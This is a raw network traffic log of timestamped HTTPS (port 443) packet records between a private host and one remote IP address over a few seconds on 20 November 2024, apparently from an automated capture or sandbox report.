Nov 20, 2024 07:49:33.190453053 CET	443	50003	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.193625927 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.193680048 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.193759918 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.193974972 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.193989038 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.251159906 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.251188993 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.251272917 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.251286030 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.251440048 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.251611948 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.251640081 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.251652956 CET	50004	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.251660109 CET	443	50004	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.254935980 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.254987001 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.255270958 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.255270958 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.255304098 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.794065952 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.794676065 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.794707060 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.794737101 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.795003891 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.795022011 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.795288086 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.795294046 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.795459032 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.795464039 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.823833942 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.824301958 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.824318886 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.824785948 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.824803114 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.842097044 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.842561960 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.842591047 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.843015909 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.843020916 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.893392086 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.893423080 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.893505096 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.893517971 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.893575907 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.893786907 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.893786907 CET	50005	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.893831015 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.893861055 CET	443	50005	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.894905090 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.894965887 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.895018101 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.895035028 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.895163059 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.895181894 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.895206928 CET	50007	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.895232916 CET	443	50007	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.896898031 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.896935940 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.896998882 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.897099972 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.897149086 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.897161007 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.897196054 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.897283077 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.897356987 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.897378922 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.927201033 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.927222967 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.927341938 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.927361012 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.927375078 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.927486897 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.927510023 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.927510023 CET	50006	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.927526951 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.927537918 CET	443	50006	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.928288937 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.928674936 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.928704977 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.929128885 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.929141998 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.929622889 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.929708958 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.929795980 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.929908991 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.929939985 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.943561077 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.943633080 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.943684101 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.943747044 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.943757057 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.943766117 CET	50008	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.943770885 CET	443	50008	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.945575953 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.945615053 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:33.945673943 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.945785999 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:33.945795059 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.038399935 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.038537025 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.038604021 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.038693905 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.038693905 CET	50009	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.038724899 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.038736105 CET	443	50009	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.041038036 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.041117907 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.041208982 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.041321993 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.041342974 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.531120062 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.531682968 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.531697989 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.532196999 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.532202959 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.551691055 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.552123070 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.552164078 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.552588940 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.552642107 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.592360020 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.592787027 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.592807055 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.593317986 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.593324900 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.606093884 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.606482029 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.606498957 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.606901884 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.606909037 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.630784988 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.630865097 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.630907059 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.631325006 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.631342888 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.631354094 CET	50010	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.631359100 CET	443	50010	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.634882927 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.634908915 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.634979010 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.635104895 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.635118961 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.653538942 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.653749943 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.653805017 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.654519081 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.654534101 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.654546976 CET	50011	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.654551983 CET	443	50011	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.660722017 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.660758018 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.660820961 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.660938978 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.660953999 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.693412066 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.693907022 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.693937063 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.694340944 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.694348097 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.710228920 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.710259914 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.710330963 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.710352898 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.710407019 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.710483074 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.710549116 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.710565090 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.710576057 CET	50013	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.710582018 CET	443	50013	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.713067055 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.713109016 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.713185072 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.713332891 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.713346958 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.749277115 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.749310017 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.749387980 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.749408960 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.749437094 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.749473095 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.749500990 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.749615908 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.749638081 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.749655962 CET	50012	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.749663115 CET	443	50012	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.752058983 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.752090931 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.752182961 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.752311945 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.752325058 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.799166918 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.799226999 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.799273014 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.799326897 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.799362898 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.799377918 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.799416065 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.885979891 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.886100054 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.886132002 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.886178970 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.886228085 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.886256933 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.886276007 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.886286020 CET	50014	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.886291027 CET	443	50014	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.889333010 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.889369965 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:34.889453888 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.889607906 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:34.889620066 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.282305956 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.282902956 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.282927990 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.283411026 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.283416033 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.307301044 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.307739973 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.307769060 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.308157921 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.308167934 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.374063015 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.374875069 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.374897957 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.375375986 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.375380993 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.384486914 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.384515047 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.384582996 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.384593010 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.384632111 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.384854078 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.384875059 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.384887934 CET	50015	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.384892941 CET	443	50015	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.387877941 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.387928009 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.388181925 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.388181925 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.388215065 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.400062084 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.400453091 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.400470972 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.400878906 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.400882959 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.409794092 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.409857035 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.409899950 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.409924984 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.409936905 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.409976959 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.479233027 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.479257107 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.479361057 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.479372025 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.479409933 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.479579926 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.479584932 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.479593039 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.479597092 CET	50017	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.479640961 CET	443	50017	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.482458115 CET	50021	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.482554913 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.482666016 CET	50021	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.482830048 CET	50021	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.482858896 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.495917082 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.495990038 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.496022940 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.496038914 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.496071100 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.496088982 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.496115923 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.496160030 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.496191025 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.496205091 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.496216059 CET	50016	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.496221066 CET	443	50016	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.498627901 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.498658895 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.498759985 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.498886108 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.498902082 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.500417948 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.500446081 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.500485897 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.500492096 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.500647068 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.500653028 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.500664949 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.501015902 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.501084089 CET	443	50018	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.501123905 CET	50018	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.504216909 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.504261971 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.504344940 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.504477024 CET	50023	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.504507065 CET	443	50023	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.525393009 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.525940895 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.525948048 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.526436090 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.526442051 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.626182079 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.626426935 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.626513004 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.626605988 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.626627922 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.626642942 CET	50019	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.626648903 CET	443	50019	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.630702972 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.630749941 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:35.630848885 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.631016016 CET	50024	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:35.631026030 CET	443	50024	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.038781881 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.039370060 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.039396048 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.039864063 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.039869070 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.140818119 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.140902042 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.141146898 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.141222954 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.141242027 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.141252995 CET	50020	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.141258001 CET	443	50020	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.144933939 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.144979000 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.145122051 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.145307064 CET	50025	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.145318031 CET	443	50025	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.148332119 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.148813963 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.148824930 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.149364948 CET	50022	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:36.149369955 CET	443	50022	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.158065081 CET	443	50021	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:36.158534050 CET	50021	443	192.168.2.4	13.107.246.45
